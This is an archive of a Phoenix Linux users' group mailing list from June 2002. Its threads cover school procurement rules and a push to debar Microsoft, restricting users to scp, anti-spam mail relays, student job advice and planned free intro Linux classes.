>On Tuesday 18 June 2002 21:39, you wrote: > > > Here is the response I received from David Cantelme, Deer Valley school > > > board member. He is the one who has arizonalawinstitute@yahoo.com as > > > his email address. It sounds to me that all the school districts and > > > the state itself should be starting debarment proceedings against MS. > > > We need to start contacting the legislators, Attorney General's office > > > and your local school superintendents. > > > > > > > > > ----- Original Message ----- > > > From: "david cantelme" > > > To: "Tom Achtenberg" > > > Sent: Tuesday, June 18, 2002 6:08 AM > > > Subject: Re: Computer Purchasing Guidelines > > > > > > > > > Dear Mr. Actenburg: > > > > > > They do not, but similar rules found in the state > > > school district procurement rules do apply. Both sets > > > of rules have their origen in the state procurement > > > code. You can find the school district procurement > > > rules by going to the secretary of state web site. > > > Click on administrative rules. Go to title seven. > > > Then scroll down to R7-2-1001. That's where the rules > > > begin. They continue to about R7-2-1175. > > > > > > Debarment procedures do exist in the school district > > > procurement rules. You would need to address your > > > comments on debarment to the adminsitration. That's > > > who would initiate the procedure. If the > > > administration initiates a debarment procedure, the > > > board determines whether to appoint a hearing officer. > > > It goes from there to the officer with appropriate > > > due process to the contractor. The board itself has > > > no involvement in the hearing process. The officer > > > must be independent to ensure a fair hearing under our > > > constitutional system. > > > > > > --- Tom Achtenberg wrote: > > > > I was wondering if the Maricopa County purchasing > > > > policies listed below apply > > > > to DVUSD purchasing pprocedures? > > > > > > > > Maricopa County policies. Interesting references: > > > > > > > > MC1-101 DEFINITIONS > > > > 25."CONTRACTOR" means any Person who has a Contract > > > > with a County > > > > Governmental unit. For purposes of Article 5, > > > > Contractor may also mean > > > > Respondent as defined in this Article. > > > > 36."DEBARMENT" means an action taken by the County > > > > Administrative > > > > Officer under MC1-902 to prohibit a Person from > > > > Participating in > > > > Maricopa County Procurements. > > > > 80."PERSON" means any corporation, Business, > > > > individual, union, > > > > committee, club, other organization or group of > > > > individuals. > > > > 113."SUSPENSION" means an action taken by the County > > > > Administrative > > > > Officer under MC1-902 temporarily disqualifying a > > > > Person from > > > > participating in Maricopa County Procurements. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > > > > > [Microsoft is considered a Contractor and a Person. > > > > This is important > > > > below.] > > > > > > > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > > > All Specifications shall seek to promote overall > > > > economy for the purpose > > > > intended and encourage competition in satisfying > > > > Maricopa County's needs > > > > and shall not be unduly restrictive. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > > > > > [Is there any technology that is Microsoft > > > > exclusive? I believe there > > > > are sites that explain how to replace Exchange > > > > Server completely using > > > > Linux/OSS with Qmail; and SQL Server is replaceable > > > > with mySQL or PostgreSQL; > > > > IIS & ASP is replaceable with Apache & PHP, The MS > > > > Office suite is > > > > replaceable with the very comparable Open Office > > > > suite.] > > > > > > > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > > > B. The causes for Debarment or Suspension shall > > > > include, but are not > > > > limited to, the following: > > > > 2. Conviction of any Person or any subsidiary or > > > > affiliate of any Person > > > > under any statute of the Federal government, this > > > > State or its political > > > > subdivision or any other State for: > > > > k. Any other offense indicating a lack of business > > > > integrity or business > > > > honesty which affects responsibility as a > > > > Contractor. > > > > 3. Conviction or civil judgment finding a violation > > > > by any Person or any > > > > subsidiary or affiliate of any Person under State or > > > > Federal Antitrust > > > > Statutes. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > > > > > As I read MC1-902.B.3, Microsoft (a Person), having > > > > been convicted of a > > > > violation of Federal Antitrust Statues, cannot be a > > > > County Contractor. > > > > > > > > There are many alternatives to Microsofts products. > > > > Alternatives that have > > > > broken no laws, Federal or Local, are well supported > > > > and used by many large > > > > governments (Germany, Taiwan, et al). As a > > > > concerned voter in the DVUSD, I > > > > must point out that I cannot support criminal > > > > behavior and would hope that my > > > > Governing Board would see fit to do the same and > > > > ONLY consider alternatives > > > > as Microsoft is clearly unqualified to meet District > > > > requirements. > > > > > > > > Thank You, > > > > > > > > Tom Achtenberg > > > > > > > > PS this message was written ans sent to you using a > > > > computer that is 100% > > > > Microsoft free. It uses the Red Hat Linux 7.3 > > > > operating system, KDE windows > > > > like desktop and the K-mail email client. All if > > > > these programs come under > > > > the "General Public License" which means they are > > > > 100% free to the public for > > > > personal and commercial use. > > > > -- > > > > Visit the Mountain Ridge Band Site at > > > > > > http://www.mrhsband.org > > > > > > > > > __________________________________________________ > > > Do You Yahoo!? > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > http://fifaworldcup.yahoo.com > > > > > > > > > > > > --- > > > Outgoing mail is certified Virus Free. > > > Checked by AVG anti-virus system (http://www.grisoft.com). > > > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >- -- > >Jim > > > >Freedom is worth protecting > > > >-----BEGIN PGP SIGNATURE----- > >Version: PGP 6.5.8 > > > >iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a > >uqHWgWriXgbXcZvWptly5CtJ > >=tKg8 > >-----END PGP SIGNATURE----- > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 01:42:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 18:42:50 -0700 Subject: jaz drive References: <20020619194447.A7194@lilly.csoft.net> Message-ID: <000d01c217fb$cab0a6c0$2f7c0d82@peyote> we have 2 plus a 1 1gig, what are you looking to pay for one? slr ----- Original Message ----- From: "Mike" To: "PLUG" Sent: Wednesday, June 19, 2002 5:44 PM Subject: jaz drive > Anyone know where I can pick up a 2Gb scsi Jaz Drive? > I'm in the market. > > v/r > mike > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 01:48:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 18:48:09 -0700 (PDT) Subject: Limiting a user to scp and not ssh Message-ID: I'm trying to configure a box so people can scp files to it, but can't actually ssh in. I created a script named scpsh with this in it: #!/bin/sh # exec /usr/bin/scp -t $HOME Then I added scpsh to /etc/shells and made it their shell in /etc/passwd. So now users can use scp to copy files over just fine, but when they try to ssh, it sits there until they hit a key, at which point they get: scp: protocol error: unexpected Connection to 1.2.3.4 closed. Is this the best way to handle this? Is there a better way that anyone knows of? Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 01:57:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Wed, 19 Jun 2002 18:57:20 -0700 Subject: Fw: Computer Purchasing Guidelines References: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <5.1.0.14.0.20020619093307.024ec210@localhost> Message-ID: <3D113680.56F33DCA@cox.net> No more so than necessary, I'm hoping ;-) On a more serious note, the debarment procedure actually sounds like an administrative process, and if it is like most, the involved parties would not have recourse to the courts until administrative remedies were exhausted. -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 02:14:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 19:14:26 -0700 Subject: jaz drive References: <20020619194447.A7194@lilly.csoft.net> <000d01c217fb$cab0a6c0$2f7c0d82@peyote> Message-ID: <001f01c21800$33d1a880$2f7c0d82@peyote> oops sorry! email me off list. slr ----- Original Message ----- From: "slr" To: Sent: Wednesday, June 19, 2002 6:42 PM Subject: Re: jaz drive > we have 2 plus a 1 1gig, what are you looking to pay for one? > > slr > > > ----- Original Message ----- > From: "Mike" > To: "PLUG" > Sent: Wednesday, June 19, 2002 5:44 PM > Subject: jaz drive > > > > Anyone know where I can pick up a 2Gb scsi Jaz Drive? > > I'm in the market. > > > > v/r > > mike > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 02:21:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Wed, 19 Jun 2002 19:21:50 -0700 (PDT) Subject: Help getting experience In-Reply-To: <001f01c21800$33d1a880$2f7c0d82@peyote> Message-ID: <20020620022150.84987.qmail@web13903.mail.yahoo.com> I have a question to ask of the group. Maybe a favor, so to speak. I am starting my junior year at ASU in Computer Science. Right now I work in a Hotel, and I really don't like my job. I keep trying to apply for jobs in the computer field, however I have never had a job of this type before, which is making it difficult for me. My question is would anyone be willing or able to help me get experience, so I can get a job in the Computer field. I am highly interested in Networking, but any work involving computers would be good. I am working toward a career as a software engineer, so even programming would work. If someone would be willing, the idea I have is if someone would be willing to take me on as an apprentice for a couple of months to teach me the "ropes". I would be willing to work part-time, and for free, in exchange for the knowledge and a recommendation /reference if it is deserved. If you think you might be able to help me, please contact me off list at: mike1071@yahoo.com. Thank You, mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 03:35:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 19 Jun 2002 23:35:54 -0400 Subject: Limiting a user to scp and not ssh References: Message-ID: <3D114D9A.C04B1D0B@georgetoft.com> KLUDGE: I noticed that during the scp operation, with bash as the shell, a new shell is not spawned. If a user ssh's into the box, a new shell is spawned. Put "exit" in ~/.bash_profile - as soon as they log in, they log out. Hopefully, there is a better solution, but this one works. Let us know how you proceed. George Matt Alexander wrote: > > I'm trying to configure a box so people can scp files to it, but can't > actually ssh in. I created a script named scpsh with this in it: > > #!/bin/sh > # > exec /usr/bin/scp -t $HOME > > Then I added scpsh to /etc/shells and made it their shell in /etc/passwd. > So now users can use scp to copy files over just fine, but when they try > to ssh, it sits there until they hit a key, at which point they get: > > scp: protocol error: unexpected > Connection to 1.2.3.4 closed. > > Is this the best way to handle this? Is there a better way that anyone > knows of? > Thanks, > ~M > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 04:03:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 19 Jun 2002 21:03:16 -0700 (MST) Subject: Help getting experience In-Reply-To: <20020620022150.84987.qmail@web13903.mail.yahoo.com> Message-ID: Am 19. Jun, 2002 schwätzte MCR so: > I have a question to ask of the group. Maybe a favor, > so to speak. I am starting my junior year at ASU in > Computer Science. Right now I work in a Hotel, and I > really don't like my job. I keep trying to apply for > jobs in the computer field, however I have never had a > job of this type before, which is making it difficult > for me. You're at one of the best places to get experience. Check student jobs. You can almost definitely get a job working graveyards in the computing commons, e.g. they can't seem to ever get enough warm bodies. After working there a sememster you'll be in the system and have a much better chance at jobs in other depts. You've got two years left, so plenty of time to get campus jobs that'll give you decent experience. Go to the UNUG meeting tomorrow morning. Topic: How to install and configure OpenBSD for use as a firewall. Presenter: Mark Peoples Where: CPCOM 120 (Computing Commons Auditorium) When: 9:00 - 11:00AM on Thursday June, 20th > My question is would anyone be willing or able to help > me get experience, so I can get a job in the Computer > field. I am highly interested in Networking, but any > work involving computers would be good. I am working > toward a career as a software engineer, so even > programming would work. If someone would be willing, > the idea I have is if someone would be willing to take > me on as an apprentice for a couple of months > to teach me the "ropes". I would be willing to work > part-time, and for free, in exchange for the knowledge > and a recommendation /reference if it is deserved. If you're willing to work for 'free' work on Free Software. In what area are you wanting to work? Pick a project that looks interesting, get on the mailing list, go through the code, start asking questions and finally send in code. Also look at groups like USENIX and IEEE. They have student programs. Learn a topic well and give presentations at local groups, e.g. the LUGs. ciao, der.hans -- # https://www.LuftHans.com/ # Freedom isn't everything, but without freedom you have nothing. - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 03:58:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 20:58:39 -0700 (PDT) Subject: Ahem... Upgrade Apache on PLUG webservers, please. Message-ID: Apache/1.3.12 Server at plug.phoenix.az.us Port 80 Apache/1.3.22 Ben-SSL/1.44 Server at www.plugpresents.com Port 80 From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 05:03:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 19 Jun 2002 22:03:24 -0700 (MST) Subject: intro classes - planning Message-ID: moin, moin, the classes don't start for more than 2 months, so we have some time. Specifically, I don't want to distract from the InstallFest on Sat. OTOH, we want to be mentioning them at the InstallFest :). It's been pointed out that I forgot to mention that the classes will not cost anything. After we've finished a post-mortem on the InstallFest we need to concentrate on building a press release for the classes. We need to get that out a couple of months before the classes start in order to catch a few publications in time. ciao, der.hans -- # https://www.LuftHans.com/ # Knowledge is useless unless it's shared. - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 03:02:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert N. Eaton) Date: Wed, 19 Jun 2002 23:02:44 -0400 Subject: jaz drive In-Reply-To: <20020619194447.A7194@lilly.csoft.net> References: <20020619194447.A7194@lilly.csoft.net> Message-ID: <200206200552.g5K5qlMg029580@mail.infinet-is.com> On Wednesday 19 June 2002 08:44 pm, you wrote: > Anyone know where I can pick up a 2Gb scsi Jaz Drive? > I'm in the market. > > v/r > mike Mike, I have one in the original box. Was a gift to my son, who then gave it to me. Hardly used. I comes with one disk. New disks cost about $110.00, which is why I went to a CD-RW. Bob Eaton From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 06:16:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 19 Jun 2002 23:16:59 -0700 Subject: Apple has some big brass ones! Message-ID: <20020619231659.06f25209.snoogans@qwest.net> i dont know if anyone has seen it yet but apple has a new commercial out. Its basically a guy who says hes a windows LAN admin talking about how muh better OSX is than windows. While i agree with him 100% microsoft really doesn't like competition if you know what i mean *wink* *wink* i mean *nix didn't do anything so bold as to go on air on tv and say *nix is better than windows in every way and they set up a whole organization, although short lived, to combat our like 1% market share or whatever it is. Anyway 2 thumbs up to apple and thier big brass ones :) /@ /@ \ \ \ \ ___> \ ___> \ (__O) \ (__O) \ (____@) \ (____@) \ (____@) \ (____@) \ (__o)_ \ (__o)_ \ \ \ \ \ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 08:03:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Henderson) Date: Thu, 20 Jun 2002 04:03:49 -0400 (EDT) Subject: SMTP mail relay server for SPAM filtering Message-ID: My company, like many, I'm sure, is wrestling with spam email. Currently we're handling it manually, creating blocks on our Exchange server based on IP addresses. We are not being given any budget to solve this problem, but we do have a few spare servers sitting around. I'm thinking this may be an opportunity to show the MS-based IT Dept what can be done with some Open Source software. I'd like suggestions on how to set up an SMTP mail relay box and anti-spam software. I have a year or so experience with a few Linux distros on my desktop and laptop at home, so I'm no wizard, but I can usually find my way around. Is this doable? We average around 6-700 SMTP emails per hour during the day, and spike to maybe 1500 on occasion. I want to set the box up inside the DMZ, in front of the Exchange server, and just have it relay to and from that box. What distro? What software? How to config? Any HOWTOs on this or other resources? Thanks much! ----------------------------- Tired of Microsoft Windows? Visit http://www.lycoris.com! From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 09:09:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Thu, 20 Jun 2002 02:09:16 -0700 (PDT) Subject: intro classes - planning In-Reply-To: Message-ID: <20020620090916.21656.qmail@web13404.mail.yahoo.com> --- "der.hans" wrote: > moin, moin, > > the classes don't start for more than 2 months, so > we have some time. > Specifically, I don't want to distract from the > InstallFest on Sat. > > OTOH, we want to be mentioning them at the > InstallFest :). > > It's been pointed out that I forgot to mention that > the classes will not > cost anything. > > After we've finished a post-mortem on the > InstallFest we need to concentrate > on building a press release for the classes. We need > to get that out a > couple of months before the classes start in order > to catch a few > publications in time. > > ciao, > > der.hans Hey all, The Linux classes are great and I'm really looking forward to them (attending/helping in any way I can). I'm also curious though on wether there will be any classes geared toward the *BSDs? I installed FreeBSD 4.6 a little while ago and I can't say enough about it. I've been using it as my main OS and have found that I can use the same apps as I would be able to in Linux. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 11:36:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 20 Jun 2002 07:36:14 -0400 Subject: Apple has some big brass ones! References: <20020619231659.06f25209.snoogans@qwest.net> Message-ID: <3D11BE2E.75A671C3@georgetoft.com> I though Microsoft was a majority shareholder of Apple Computer. Am I mistaken? George robert jorgenson wrote: > > i dont know if anyone has seen it yet but apple has a new commercial out. Its basically a guy who says hes a windows LAN admin talking about how muh better OSX is than windows. While i agree with him 100% microsoft really doesn't like competition if you know what i mean *wink* *wink* i mean *nix didn't do anything so bold as to go on air on tv and say *nix is better than windows in every way and they set up a whole organization, although short lived, to combat our like 1% market share or whatever it is. Anyway 2 thumbs up to apple and thier big brass ones :) > > /@ /@ > \ \ \ \ > ___> \ ___> \ > (__O) \ (__O) \ > (____@) \ (____@) \ > (____@) \ (____@) \ > (__o)_ \ (__o)_ \ > \ \ \ \ > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 12:02:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 20 Jun 2002 05:02:55 -0700 Subject: Apple has some big brass ones! In-Reply-To: <3D11BE2E.75A671C3@georgetoft.com> References: <20020619231659.06f25209.snoogans@qwest.net> <3D11BE2E.75A671C3@georgetoft.com> Message-ID: <1024574575.29497.6.camel@barney.azapple.com> yes, you are mistaken. They never were. Craig On Thu, 2002-06-20 at 04:36, George Toft wrote: > I though Microsoft was a majority shareholder of Apple Computer. Am I > mistaken? > > George > > > robert jorgenson wrote: > > > > i dont know if anyone has seen it yet but apple has a new commercial out. Its basically a guy who says hes a windows LAN admin talking about how muh better OSX is than windows. While i agree with him 100% microsoft really doesn't like competition if you know what i mean *wink* *wink* i mean *nix didn't do anything so bold as to go on air on tv and say *nix is better than windows in every way and they set up a whole organization, although short lived, to combat our like 1% market share or whatever it is. Anyway 2 thumbs up to apple and thier big brass ones :) > > > > /@ /@ > > \ \ \ \ > > ___> \ ___> \ > > (__O) \ (__O) \ > > (____@) \ (____@) \ > > (____@) \ (____@) \ > > (__o)_ \ (__o)_ \ > > \ \ \ \ > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 12:01:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 20 Jun 2002 05:01:38 -0700 Subject: SMTP mail relay server for SPAM filtering In-Reply-To: References: Message-ID: <1024574498.29714.4.camel@barney.azapple.com> On Thu, 2002-06-20 at 01:03, Scott Henderson wrote: > My company, like many, I'm sure, is wrestling with spam email. > Currently we're handling it manually, creating blocks on our > Exchange server based on IP addresses. We are not being given > any budget to solve this problem, but we do have a few spare > servers sitting around. I'm thinking this may be an opportunity > to show the MS-based IT Dept what can be done with some Open > Source software. I'd like suggestions on how to set up an SMTP > mail relay box and anti-spam software. I have a year or so > experience with a few Linux distros on my desktop and laptop at > home, so I'm no wizard, but I can usually find my way around. > Is this doable? We average around 6-700 SMTP emails per hour > during the day, and spike to maybe 1500 on occasion. I want to > set the box up inside the DMZ, in front of the Exchange server, > and just have it relay to and from that box. What distro? What > software? How to config? Any HOWTOs on this or other resources? > Thanks much! ---- spam assassin use whatever distro. I would have this box the primary mx for incoming mail. Check it with spam assassin and then forward it to the exchange server. Craig From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 14:25:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Thu, 20 Jun 2002 09:25:08 -0500 Subject: SMTP mail relay server for SPAM filtering In-Reply-To: <1024574498.29714.4.camel@barney.azapple.com>; from craigwhite@azapple.com on Thu, Jun 20, 2002 at 05:01:38AM -0700 References: <1024574498.29714.4.camel@barney.azapple.com> Message-ID: <20020620092508.B6920@lilly.csoft.net> I agree with Craig. I'd also throw in some Qmail and Debian specs as well :-) On Thu, Jun 20, 2002 at 05:01:38AM -0700, Craig White wrote: On Thu, 2002-06-20 at 01:03, Scott Henderson wrote: > My company, like many, I'm sure, is wrestling with spam email. > Currently we're handling it manually, creating blocks on our > Exchange server based on IP addresses. We are not being given > any budget to solve this problem, but we do have a few spare > servers sitting around. I'm thinking this may be an opportunity > to show the MS-based IT Dept what can be done with some Open > Source software. I'd like suggestions on how to set up an SMTP > mail relay box and anti-spam software. I have a year or so > experience with a few Linux distros on my desktop and laptop at > home, so I'm no wizard, but I can usually find my way around. > Is this doable? We average around 6-700 SMTP emails per hour > during the day, and spike to maybe 1500 on occasion. I want to > set the box up inside the DMZ, in front of the Exchange server, > and just have it relay to and from that box. What distro? What > software? How to config? Any HOWTOs on this or other resources? > Thanks much! ---- spam assassin use whatever distro. I would have this box the primary mx for incoming mail. Check it with spam assassin and then forward it to the exchange server. Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:09:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 20 Jun 2002 09:09:05 -0700 (MST) Subject: intro classes - planning In-Reply-To: <20020620090916.21656.qmail@web13404.mail.yahoo.com> Message-ID: Am 20. Jun, 2002 schwätzte bob smith so: > The Linux classes are great and I'm really looking > forward to them (attending/helping in any way I can). > I'm also curious though on wether there will be any > classes geared toward the *BSDs? I installed FreeBSD > 4.6 a little while ago and I can't say enough about > it. I've been using it as my main OS and have found > that I can use the same apps as I would be able to in > Linux. We currently have no plans to cover *BSD. There will be some bleedover, e.g. Open Office works on *BSD. Don't know if Gnome or KDE do or are default. We're planning for the intro classes to be at that level. For sys_adm topics, we will probably only explain what they are, e.g. MUA vs. MTA, but not actually cover setting up an MTA. The normal PLUG meetings are fine for *BSD topics, but we need people to come forward with presentations. ciao, der.hans -- # https://www.LuftHans.com/ # If you're not learning, you're not living. - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:13:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 20 Jun 2002 09:13:18 -0700 (MST) Subject: SMTP mail relay server for SPAM filtering In-Reply-To: <20020620092508.B6920@lilly.csoft.net> Message-ID: Am 20. Jun, 2002 schwätzte Mike so: > I agree with Craig. I'd also throw in some > Qmail and Debian specs as well :-) We will specifically not be covering qmail as we won't be covering setting up MTAs. That's not an intro topic. We haven't written the material, but I'm hoping that the classes will turn out to be dist independent ( well slackware's Berkeley-style init scripts will be ignored ). What dist-dependent stuff we have to cover will probably cover 3 or 4 major dists. Debian, of course, is *the* major dist ;-). ciao, der.hans -- # https://www.LuftHans.com/ # Schließlich verteidigt Amerika Freiheit. Und Freiheit beginnt mit dem Wort. # -- Gunter Grass From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:11:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 20 Jun 2002 09:11:11 -0700 Subject: SMTP mail relay server for SPAM filtering References: <1024574498.29714.4.camel@barney.azapple.com> <20020620092508.B6920@lilly.csoft.net> Message-ID: <3D11FE9F.46E04903@leml.asu.edu> Mike wrote: > > On Thu, Jun 20, 2002 at 05:01:38AM -0700, Craig White wrote: > On Thu, 2002-06-20 at 01:03, Scott Henderson wrote: > > My company, like many, I'm sure, is wrestling with spam email. > > Currently we're handling it manually, creating blocks on our > > Exchange server based on IP addresses. We are not being given > > any budget to solve this problem, but we do have a few spare > > servers sitting around. I'm thinking this may be an opportunity > > to show the MS-based IT Dept what can be done with some Open > > Source software. I'd like suggestions on how to set up an SMTP > > mail relay box and anti-spam software. I have a year or so > > experience with a few Linux distros on my desktop and laptop at > > home, so I'm no wizard, but I can usually find my way around. > > Is this doable? We average around 6-700 SMTP emails per hour > > during the day, and spike to maybe 1500 on occasion. I want to > > set the box up inside the DMZ, in front of the Exchange server, > > and just have it relay to and from that box. What distro? What > > software? How to config? Any HOWTOs on this or other resources? > > Thanks much! > ---- > spam assassin > > > > use whatever distro. > > I would have this box the primary mx for incoming mail. Check it with > spam assassin and then forward it to the exchange server. also need to decide up front how you will deal with spam... Can you actually just throw it away? Many places send it on anyway but have it taged so the end user can decide. Another possibility is to dump it in a waiting pen and have someone delete it once. Other legal messages can be forwarded on... EBo -- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:26:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Sawyer) Date: Thu, 20 Jun 2002 09:26:41 -0700 Subject: Map to SCC for the Installfest Message-ID: <5.1.0.14.2.20020620092146.02210140@mail.scottsawyer.org> The Press release mentions that there is a map to SCC on the primary website. I wasn't able to find it. -Scott Scott Sawyer Engagement Manager - Red Hat Inc. http://www.redhat.com Scott Sawyer Digital Photography http://www.scottsawyer.org Member of Linux Users of Northern Arizona http://luna.flagstaff.az.us From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:37:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 20 Jun 2002 09:37:45 -0700 Subject: SMTP mail relay server for SPAM filtering Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4F9@mail.int.fh.org> We are using MimeDefang very successfully. -------------------original message------------------------- Date: Thu, 20 Jun 2002 04:03:49 -0400 (EDT) From: Scott Henderson To: plug-discuss@lists.plug.phoenix.az.us Subject: SMTP mail relay server for SPAM filtering Reply-To: plug-discuss@lists.plug.phoenix.az.us My company, like many, I'm sure, is wrestling with spam email. Currently we're handling it manually, creating blocks on our Exchange server based on IP addresses. We are not being given any budget to solve this problem, but we do have a few spare servers sitting around. I'm thinking this may be an opportunity to show the MS-based IT Dept what can be done with some Open Source software. I'd like suggestions on how to set up an SMTP mail relay box and anti-spam software. I have a year or so experience with a few Linux distros on my desktop and laptop at home, so I'm no wizard, but I can usually find my way around. Is this doable? We average around 6-700 SMTP emails per hour during the day, and spike to maybe 1500 on occasion. I want to set the box up inside the DMZ, in front of the Exchange server, and just have it relay to and from that box. What distro? What software? How to config? Any HOWTOs on this or other resources? Thanks much! ----------------------------- Tired of Microsoft Windows? Visit http://www.lycoris.com! Tom Achtenberg Developer, Information Technologies Food for the Hungry / US (480) 609-7750 (voice) (480) 443-1420 (fax) TomA@fh.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 16:41:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 20 Jun 2002 09:41:11 -0700 Subject: Help getting experience Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4FA@mail.int.fh.org> I'm a little concerned that someone who wants to be a Software Engineer would say "even programming would work." If you're looking at programming as a last resort type 